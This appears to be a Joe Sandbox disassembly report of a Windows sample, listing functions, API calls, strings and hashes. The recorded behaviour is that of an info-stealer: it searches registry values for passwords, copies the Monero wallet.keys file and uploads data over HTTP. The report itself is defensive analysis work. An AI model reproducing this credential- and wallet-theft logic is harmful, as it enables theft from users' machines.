Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpylstrlen$FileHeapmemset$AllocAllocateCopyDeleteLocalProcessmemcmp
String ID:
API String ID: 2228671196-0
Opcode ID: d38d5faa1731a50f36c3b4fe45c1e6462096d0c9b0a90e99373faa5d72334375
Instruction ID: c7be15c6cc4abab23e8f274795eadccbdda502ec8511485448b77053ecd04baf
Opcode Fuzzy Hash: d38d5faa1731a50f36c3b4fe45c1e6462096d0c9b0a90e99373faa5d72334375
Instruction Fuzzy Hash: B0029475900208ABCB14EBA1DC96EEE773ABF14305F11415EF507B6091DF38AE85CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C640 Relevance: 31.9, APIs: 21, Instructions: 374
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00415260: GetSystemTime.KERNEL32(?,02F88120,0041D129,?,?,?,?,?,?,?,?,?,00404623,?,00000014), ref: 00415286

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040C6D3
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040C817
RtlAllocateHeap.NTDLL(00000000), ref: 0040C81E
lstrcat.KERNEL32(?,00000000), ref: 0040C958
lstrcat.KERNEL32(?,0041DBD8), ref: 0040C967
lstrcat.KERNEL32(?,00000000), ref: 0040C97A
lstrcat.KERNEL32(?,0041DBDC), ref: 0040C989
lstrcat.KERNEL32(?,00000000), ref: 0040C99C
lstrcat.KERNEL32(?,0041DBE0), ref: 0040C9AB
lstrcat.KERNEL32(?,00000000), ref: 0040C9BE
lstrcat.KERNEL32(?,0041DBE4), ref: 0040C9CD
lstrcat.KERNEL32(?,00000000), ref: 0040C9E0
lstrcat.KERNEL32(?,0041DBE8), ref: 0040C9EF
lstrcat.KERNEL32(?,00000000), ref: 0040CA02
lstrcat.KERNEL32(?,0041DBEC), ref: 0040CA11
lstrcat.KERNEL32(?,00000000), ref: 0040CA24
lstrcat.KERNEL32(?,0041DBF0), ref: 0040CA33

Part of subcall function 00416E20: lstrlen.KERNEL32(00000000,?,?,00412BE0,0041D59B,0041D59A,?,?,004137D6,00000000,?,02F66AB8,?,0041D8AC,?,00000000), ref: 00416E2B
Part of subcall function 00416E20: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416E85

lstrlen.KERNEL32(?), ref: 0040CA7A
lstrlen.KERNEL32(?), ref: 0040CA89
memset.MSVCRT ref: 0040CAD2

Part of subcall function 00417070: StrCmpCA.SHLWAPI(00000000,0041DBD0,0040C8F2,0041DBD0,00000000), ref: 0041708F

DeleteFileA.KERNEL32(00000000), ref: 0040CAFE

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTimememset
String ID:
API String ID: 1973479514-0
Opcode ID: 85896436ce0608da0a3753caff8e3721c1e527f5f6bff2534fc1e5d289ee3b40
Instruction ID: d19a215fe10c8d685073d70632a82ede6d900fe39af11de2b9913f634a463049
Opcode Fuzzy Hash: 85896436ce0608da0a3753caff8e3721c1e527f5f6bff2534fc1e5d289ee3b40
Instruction Fuzzy Hash: B1E15275910208ABCB14EBA1DD96EEE773ABF14305F11415EF107B6091DF38AE85CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00404540 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 00404470: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 004044F6
Part of subcall function 00404470: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404506

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 004045D5
StrCmpCA.SHLWAPI(?,02F84A10), ref: 004045FA
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040477A
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,0041D797,00000000,?,?,00000000,?,",00000000,?,02F84A40), ref: 00404AA8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00404AC4
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00404AD8
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00404B09
InternetCloseHandle.WININET(00000000), ref: 00404B6D
InternetCloseHandle.WININET(00000000), ref: 00404B85
HttpOpenRequestA.WININET(00000000,02F84A00,?,02F8B958,00000000,00000000,00400100,00000000), ref: 004047D5

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

InternetCloseHandle.WININET(00000000), ref: 00404B8F

Strings

", xrefs: 004049F3
------, xrefs: 0040467D
------, xrefs: 00404929
------, xrefs: 004047E8
", xrefs: 004048B2

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: a96af3eb48350165ce07f11a18bbf656ab0394dc54422d4bf228e890d6c8bbf5
Instruction ID: e2fbf7176fc7eb33215a1d8fdd4a82cafc16ed7ff926df7fa74fdc4e30892001
Opcode Fuzzy Hash: a96af3eb48350165ce07f11a18bbf656ab0394dc54422d4bf228e890d6c8bbf5
Instruction Fuzzy Hash: F21252769102189ACB14EB91DC92FDEB739AF54308F51419EF10672491DF38AF89CF68

Uniqueness

Uniqueness Score: -1.00%

Function 00414AE0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 179
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

RegOpenKeyExA.KERNEL32(00000000,02F6EFD0,00000000,00020019,00000000,0041D289), ref: 00414B41
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00414BC3
wsprintfA.USER32 ref: 00414BF6
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00414C18
RegCloseKey.ADVAPI32(00000000), ref: 00414C29
RegCloseKey.ADVAPI32(00000000), ref: 00414C36

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Strings

- , xrefs: 00414D40
?, xrefs: 00414B17
%s\%s, xrefs: 00414BEA

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: e6e133757c573fac0daeb6e33494cbb002d9b9613c563283169ed0ec48b3ea5c
Instruction ID: fbc8112ab3bfbfb2fdc98052a2813d45c496b4d84dbcb1503bfdf8522ef193f5
Opcode Fuzzy Hash: e6e133757c573fac0daeb6e33494cbb002d9b9613c563283169ed0ec48b3ea5c
Instruction Fuzzy Hash: F1712A7590021C9BDB64DB60DD91FDA77B9BF88304F0086D9A109A6180DF74AFCACF94

Uniqueness

Uniqueness Score: -1.00%

Function 0040F630 Relevance: 19.8, APIs: 13, Instructions: 298stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 0040F667
strtok_s.MSVCRT ref: 0040FA8F

Part of subcall function 00416E20: lstrlen.KERNEL32(00000000,?,?,00412BE0,0041D59B,0041D59A,?,?,004137D6,00000000,?,02F66AB8,?,0041D8AC,?,00000000), ref: 00416E2B
Part of subcall function 00416E20: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416E85

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID:
API String ID: 348468850-0
Opcode ID: bfa52de86468f06c75ce6d1a715682b1cd9076c0a6941fb9bd0619d7694f907c
Instruction ID: 2b3dd8003c7db60ae6f20250f168b485c10b0cdbdb2f80ad8031a0e3e82ebbeb
Opcode Fuzzy Hash: bfa52de86468f06c75ce6d1a715682b1cd9076c0a6941fb9bd0619d7694f907c
Instruction Fuzzy Hash: B4C1A7B5900619DBCB24EF60DC89FDA7779AF58304F00459EE40DA7191DB34AAC9CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 004012D0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 139stringfileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004012E7

Part of subcall function 00401260: GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 00401274
Part of subcall function 00401260: HeapAlloc.KERNEL32(00000000), ref: 0040127B
Part of subcall function 00401260: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 00401297
Part of subcall function 00401260: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012B5
Part of subcall function 00401260: RegCloseKey.ADVAPI32(?), ref: 004012BF

lstrcat.KERNEL32(?,00000000), ref: 0040130F
lstrlen.KERNEL32(?), ref: 0040131C
lstrcat.KERNEL32(?,.keys), ref: 00401337

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00415260: GetSystemTime.KERNEL32(?,02F88120,0041D129,?,?,?,?,?,?,?,?,?,00404623,?,00000014), ref: 00415286

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00401425

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 004093A0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004093CC
Part of subcall function 004093A0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 004093F1
Part of subcall function 004093A0: LocalAlloc.KERNEL32(00000040,?), ref: 00409411
Part of subcall function 004093A0: ReadFile.KERNEL32(000000FF,?,00000000,'@,00000000), ref: 0040943A
Part of subcall function 004093A0: LocalFree.KERNEL32('@), ref: 00409470
Part of subcall function 004093A0: CloseHandle.KERNEL32(000000FF), ref: 0040947A

DeleteFileA.KERNEL32(00000000), ref: 004014A9
memset.MSVCRT ref: 004014D0

Part of subcall function 00404DC0: lstrlen.KERNEL32(00000000), ref: 00404E4A
Part of subcall function 00404DC0: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404EBB
Part of subcall function 00404DC0: StrCmpCA.SHLWAPI(?,02F84A10), ref: 00404ED9

Strings

SOFTWARE\monero-project\monero-core, xrefs: 004012F5
wallet_path, xrefs: 004012F0
.keys, xrefs: 0040132B
\Monero\wallet.keys, xrefs: 0040134D

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$lstrlen$AllocCloseHeapLocalOpenmemset$CopyCreateDeleteFreeHandleInternetProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 330749937-218353709
Opcode ID: 690e4f5cb0a2d8d22beb202dd65dce18f1c2d8745e9f24a5a82c3809be2fbd94
Instruction ID: 465d6e3be360dc7981781b6de12631b9db2cd28431e3bfe2701297f35846b4c8
Opcode Fuzzy Hash: 690e4f5cb0a2d8d22beb202dd65dce18f1c2d8745e9f24a5a82c3809be2fbd94
Instruction Fuzzy Hash: DD5123B195021897CB15EB61DD92BED773D9F54304F4041EDB60A62091DE385BC5CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 00406FA0 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406CA0: memset.MSVCRT ref: 00406CE4
Part of subcall function 00406CA0: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 00406D0A
Part of subcall function 00406CA0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00406D81
Part of subcall function 00406CA0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00406DDD
Part of subcall function 00406CA0: GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,`v@,80000001,h0A,?,?,?,?,?,00407660,?), ref: 00406E22
Part of subcall function 00406CA0: HeapFree.KERNEL32(00000000,?,?,?,?,`v@,80000001,h0A,?,?,?,?,?,00407660,?), ref: 00406E29

lstrcat.KERNEL32(35841020,0041DEB8), ref: 00406FD6
lstrcat.KERNEL32(35841020,00000000), ref: 00407018
lstrcat.KERNEL32(35841020, : ), ref: 0040702A
lstrcat.KERNEL32(35841020,00000000), ref: 0040705F
lstrcat.KERNEL32(35841020,0041DEC0), ref: 00407070
lstrcat.KERNEL32(35841020,00000000), ref: 004070A3
lstrcat.KERNEL32(35841020,0041DEC4), ref: 004070BD
task.LIBCPMTD ref: 004070CB

Strings

`v@, xrefs: 00406FAF, 004070C8, 00406FFE, 00407034, 0040707C, 00407045, 00406FB2
h0A, xrefs: 00406FA6, 00406FA9
: , xrefs: 0040701E

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: : $`v@$h0A
API String ID: 3191641157-3559972273
Opcode ID: 22c65c759e4008ac886b6aeda8a47d70719bcccf3909e077351c77a1654b374d
Instruction ID: d9fe8ddf8edd41d5d79e2c2aa3549d60ad86c8a123fe42dd1537da3b5299582f
Opcode Fuzzy Hash: 22c65c759e4008ac886b6aeda8a47d70719bcccf3909e077351c77a1654b374d
Instruction Fuzzy Hash: 4B318371E05504ABCB14EBA0DD99EFF7B75BF44305B104519F102BB290DA38BD46CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00415710 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 184COMMON

Download Yara Rule

Strings

image/jpeg, xrefs: 00415836

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID:
String ID: image/jpeg
API String ID: 0-3785015651
Opcode ID: d12e28abaa190b54edd38c34635ce9bc0b089cc792cb9a23ec330f101bd52155
Instruction ID: 4e1e11a2c406ea1305e74ab4ef0d66e5904d243d4ada77d8c1e4b1ca7303bf9d
Opcode Fuzzy Hash: d12e28abaa190b54edd38c34635ce9bc0b089cc792cb9a23ec330f101bd52155
Instruction Fuzzy Hash: 30714CB5910608EBDB14EFE4EC85FEEB7B9BF48300F108509F515A7290DB38A945CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00406CA0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00406CE4
RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 00406D0A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00406D81
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00406DDD
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,`v@,80000001,h0A,?,?,?,?,?,00407660,?), ref: 00406E22
HeapFree.KERNEL32(00000000,?,?,?,?,`v@,80000001,h0A,?,?,?,?,?,00407660,?), ref: 00406E29

Part of subcall function 00408C20: vsprintf_s.MSVCRT ref: 00408C3B

task.LIBCPMTD ref: 00406F25

Strings

Password, xrefs: 00406DD1

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettaskvsprintf_s
String ID: Password
API String ID: 2698061284-3434357891
Opcode ID: e5b433d59e683e3853dabaec4553a197e9f76ed1b5df22dde85a26ca8bf12c56
Instruction ID: 212e66a44237aadac39c144ffd634e87161c2b2b5cb707631054264fe3c499ea
Opcode Fuzzy Hash: e5b433d59e683e3853dabaec4553a197e9f76ed1b5df22dde85a26ca8bf12c56
Instruction Fuzzy Hash: 4F613FB5D042589BDB24DB50CC45BDAB7B8BF44304F0081EAE64AA6281DF746FC9CF95

Uniqueness

Uniqueness Score: -1.00%

Function 004141C0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 89memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 004141DF
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041421C
GetProcessHeap.KERNEL32(00000000,00000104), ref: 004142A0
HeapAlloc.KERNEL32(00000000), ref: 004142A7
wsprintfA.USER32 ref: 004142DD

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Strings

:, xrefs: 004141F9
\, xrefs: 004141FD
C, xrefs: 004141E9

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: Heap$AllocDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 3790021787-3809124531
Opcode ID: 6ca11245975395cfb749b767d31339a8af53aa26318921bdecc0eb4ed934f432
Instruction ID: 52054a8b39965f6583c41ffabf349f0ba0ed2356e3a02770a6039194ee1378f4
Opcode Fuzzy Hash: 6ca11245975395cfb749b767d31339a8af53aa26318921bdecc0eb4ed934f432
Instruction Fuzzy Hash: BA3194B0D00258EBDF20DFA4DC45BEE77B4AF48304F104099F5496B281DB78AAD5CB95

Uniqueness

Uniqueness Score: -1.00%

Function 004093A0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004093CC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 004093F1
LocalAlloc.KERNEL32(00000040,?), ref: 00409411
ReadFile.KERNEL32(000000FF,?,00000000,'@,00000000), ref: 0040943A
LocalFree.KERNEL32('@), ref: 00409470
CloseHandle.KERNEL32(000000FF), ref: 0040947A

Strings

'@, xrefs: 004093C3, 00409486
'@, xrefs: 00409426, 00409449, 00409429, 0040946F

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID: '@$'@
API String ID: 2311089104-345573653
Opcode ID: 48f4b7413470cb3276c60afe27c6050599c7e1b25b920e3e6a5c65917fe61f9c
Instruction ID: e17ca2bf8fb39da35cf654cfb04ed30359ebe63801e33f8f777122e55a65d6c5
Opcode Fuzzy Hash: 48f4b7413470cb3276c60afe27c6050599c7e1b25b920e3e6a5c65917fe61f9c
Instruction Fuzzy Hash: 0B31EA74A00209EFDB24DF94C885BAEB7B5BF48314F108169E915A73D0D778AD42CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00414960 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 50memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,00000000,00000000,?,02F8AD38,00000000,?,0041D774,00000000,?,00000000,00000000,?,02F8ACC0), ref: 0041496D
HeapAlloc.KERNEL32(00000000), ref: 00414974
GlobalMemoryStatusEx.KERNEL32(00000040), ref: 00414995
__aulldiv.LIBCMT ref: 004149AF
__aulldiv.LIBCMT ref: 004149BD
wsprintfA.USER32 ref: 004149E9

Strings

%d MB, xrefs: 004149E0
@, xrefs: 0041498A

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2886426298-3474575989
Opcode ID: f62cb7ad2578be9c21b89e6e1bf921e4f1007482674ad6998ac9b57a816d1492
Instruction ID: f510475f390b20142bb5ad9b480526056b42ea6839ab7368ec165d8bd78ed5c1
Opcode Fuzzy Hash: f62cb7ad2578be9c21b89e6e1bf921e4f1007482674ad6998ac9b57a816d1492
Instruction Fuzzy Hash: 84111EB0D40208ABDB10DFE4CC49FAE77B8BB48704F104549F715BB284D7B8A9418B99

Uniqueness

Uniqueness Score: -1.00%

Function 00405D40 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

